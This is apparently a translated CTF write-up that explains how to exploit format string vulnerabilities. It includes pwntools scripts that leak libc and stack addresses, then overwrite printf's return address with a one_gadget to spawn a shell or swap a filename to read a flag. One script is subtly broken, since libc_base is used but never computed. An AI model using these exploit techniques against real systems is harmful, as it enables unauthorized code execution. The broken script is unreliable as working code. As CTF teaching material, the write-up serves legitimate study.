Recently, I have done two formatting string vulnerability problems on the stack, and found a method that can almost do this type of problem. Let’s
introduce this method with the following two examples.
Let’s talk about this idea first, that is, through two Format string vulnerability, leaking libc_base for the first time, and an address in the stack (arbitrary) and modifying the return address of printf for the second time to one_gadget to getshell
Example one
Protection status:
Main function:
It can be seen that the format string vulnerability can be exploited infinitely, but it will not jump out of this loop, so the return address of the main function cannot be controlled.
There are two ways of thinking about this question. The first is to write at any address through the format string vulnerability, and change the content of f in the bss segment to flag. The second
is to modify the return address of the printf function to one_gad
Here is the first step of the second method in detail :
leaking libc_base
leaks the address of __libc_start_main+243 and then subtracting 243.
Then leak a stack address casually, find the return address of printf (you can find it when you enter printf), and the stack address of this address (the one ending with 91a8). Use your leaked stack address to subtract the two, and then It can be overwritten as one_gadget
and then find a one_gadget
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Use the second
script as follows:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=process('./pwn')
elf=ELF("./pwn")
libc=ELF("libc-2.31.so")
def op(i):
p.recvuntil("5. Exit\n-------------------------\n")
p.sendline(str(i))
op(1)
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%21$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
p.recvuntil("Content:\n")
libcstart_addr=int(p.recv(14),16)
print(hex(libcstart_addr))
one_gad=libc_base+0xe3b01
print(hex(one_gad))
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%18$p'
p.sendline(pay)
p.recvuntil("Content:\n")
stack=p.recv(14)
stack_addr=int(stack,16)
print(hex(stack_addr))
addr=stack_addr-0x100
ret_addr=stack_addr-0x60-8-0x100 #可以不断调试以找到正确的返回地址
op(3)
p.recvuntil("Please input your notes\n")
pay=fmtstr_payload(8, {
ret_addr:one_gad},write_size='short') #单字节写入字节太大,所以用双字节写入,以满足小于0x50字节
p.sendline(pay)
p.interactive()
The second method
from pwn import *
io = process('./pwn2')
context(arch="amd64",os="linux")
context.log_level = "debug"
csu = 0xE70
def openfile():
io.recvuntil("-------------------------\n")
io.sendline(str(1))
def readfile():
io.recvuntil("-------------------------\n")
io.sendline(str(2))
def addnotes(notes):
io.recvuntil("-------------------------\n")
io.sendline(str(3))
io.recvuntil("Please input your notes\n")
io.sendline(notes)
io.recvuntil("Content:\n",drop=True)
def closefile():
io.recvuntil("-------------------------\n")
io.sendline(str(4))
def pwn():
openfile()
addnotes(b'%26$p')
csu_addr = int(io.recvline(keepends=False),16)
print(hex(csu_addr))
pie = csu_addr - csu
filename = pie + 0x0202070
payload = fmtstr_payload(8,{
filename:u32(b'flag')})
addnotes(payload)
closefile()
openfile()
io.recvuntil("You successfully opened the file.\n")
readfile()
#gdb.attach(io)
#pause()
print(io.recv())
io.interactive()
# io.recvuntil("-------------------------\n")
# io.sendline(str(3))
# io.recvuntil("Please input your notes\n")
# payload = b'\x00'*10
# gdb.attach(io)
# pause()
# io.sendline(payload)
pwn()
Read the flag directly
Example 2
The procedure is relatively simple
and the protection is as follows:
It can be seen that there are a total of four format string vulnerabilities, the first two are format string vulnerabilities on the stack,
and the last two are format string vulnerabilities on the bss segment.
Then the first two formatting characters can be passed String loopholes, direct getshell is the same as the above question, (of course, variable values can also be overwritten, but here is not more about that method)
The idea is also to leak libc for the first time and modify the return address of printf to one_gadget for the second time
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("81.68.77.181",5001)
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc-2.31.so")
p.recvuntil(b"hahah~\n")
pay=b'%19$p,%16$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-243
libc_base=int(p.recv(14),16)-243-libc.sym['__libc_start_main']
p.recv(1)
stack=int(p.recv(14),16)-0x4e-0x10a
print(hex(libc_base))
print(hex(stack))
one_gad=libc_base+0xe3b01
p.recvuntil(b"hahah~\n")
pay=fmtstr_payload(8, {
stack:one_gad},write_size='short')
p.send(pay)
p.interactive()
The conditions of use are probably
1. The format string vulnerability can be executed twice
2. The bytes that can be read are not less than 0x40 bytes